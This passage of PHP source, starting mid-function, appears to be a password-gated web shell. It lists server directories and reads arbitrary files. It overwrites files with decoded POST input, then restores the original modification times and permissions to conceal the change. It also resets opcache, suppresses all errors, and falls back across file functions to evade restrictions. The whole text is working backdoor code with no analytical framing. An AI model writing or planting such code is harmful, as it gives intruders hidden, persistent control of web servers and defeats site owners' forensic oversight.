$dir, "file" => $file, "full" => $full);
}
function concatDir($dir, $file)
{
return $dir . DIRECTORY_SEPARATOR . $file;
}
function querySort($first_Array, $second_Array)
{
return strcasecmp($first_Array['type'], $second_Array['type']);
}
function getFiles($dir)
{
$files = array();
if (@function_exists("scandir")) {
$files = @scandir($dir);
if (@is_array($files)) {
foreach ($files as $key => $fileName)
$files[$key] = @concatDir($dir, $fileName);
}
} else if (@function_exists("opendir")) {
if ($handle = @opendir($dir)) {
while (false !== ($file = @readdir($handle))) {
$files[] = @concatDir($dir, $file);
}
@closedir($handle);
}
} elseif (@function_exists("glob")) {
$files = @glob($dir . DIRECTORY_SEPARATOR . "*");
}
$files = ((@is_array($files)) ? $files : array());
$res = array();
foreach ($files as $key => $filePath) {
$name = @basename($filePath);
if ($name === ".") continue;
$res[] = array("name" => $name, "type" => (@is_dir($filePath) ? "D" : "F"), "writable" => @is_writable($filePath), "time" => @date("d.m.y H:i:s", @filemtime($filePath)));
}
usort($res, 'querySort');
return $res;
}
function viewDir($dir)
{
$text = "
File | Time | Actions |
";
$files = @getFiles($dir);
foreach ($files as $value) {
$actions = implode("\r\n", array_filter(array(($value["writable"] ? "Del" : ""), ($value["writable"] && $value["type"] === "F" ? "Ref" : ""))));
$text .= "" . $value["name"] . " | " . $value["time"] . " | " . $actions . " |
";
}
$text .= "
";
return $text;
}
function viewForm($arr)
{
addStyle();
addScript($arr);
echo "
";
}
function addStyle()
{
echo "
";
}
function addScript($arr)
{
echo "
";
}
function writeMyFile($fileName, $data)
{
$exists = file_exists($fileName);
$oldTime = (@function_exists("filemtime")) ? array("file" => @filemtime($fileName), "dir" => @filemtime(@dirname($fileName))) : false;
if ($exists && function_exists("fileperms") && @function_exists("chmod")) {
$oldPerm = substr(sprintf('%o', fileperms($fileName)), -4);
@chmod($fileName, 0644);
}
if (@function_exists("file_put_contents")) {
@file_put_contents($fileName, $data);
} else if (@function_exists("fopen")) {
$f = @fopen($fileName, "a+");
@fwrite($f, $data);
@fclose($f);
}
if ($exists && @function_exists("chmod") && isset($oldPerm) && $oldPerm !== false) {
@chmod($fileName, intval($oldPerm, 8));
}
if ($oldTime !== false && @function_exists("touch")) {
@touch($fileName, (($oldTime["file"]) ? $oldTime["file"] : $oldTime["dir"]));
@touch(@dirname($fileName), $oldTime["dir"]);
}
if (@function_exists("opcache_reset")) @opcache_reset();
return @readMyFile($fileName);
}
function readMyFile($fileName)
{
if (!@file_exists($fileName)) return "";
$data = "";
if (@function_exists("file_get_contents")) {
$data = @file_get_contents($fileName);
} else if (function_exists("fopen")) {
$h = @fopen($fileName, "r");
while (!@feof($h))
$data .= @fgets($h, 4096);
@fclose($h);
} else if (@function_exists("file") && @function_exists("implode")) {
$data = @implode(PHP_EOL, @file($fileName));
}
return $data;
}
function viewEdit($arr)
{
if (!$arr["file"]) return "";
$file = $arr["full"];
$text = @readMyFile($file);
if (isset($_POST["t"])) {
$decoded = @decode($_POST["t"]);
if ($text === $decoded) return $text;
return @writeMyFile($file, $decoded);
}
return $text;
}
function start()
{
if (!isset($_POST["p"]) || $_POST["p"] !== encode(PASS)) return;
$data = @getDir();
@viewForm($data);
exit();
}
start();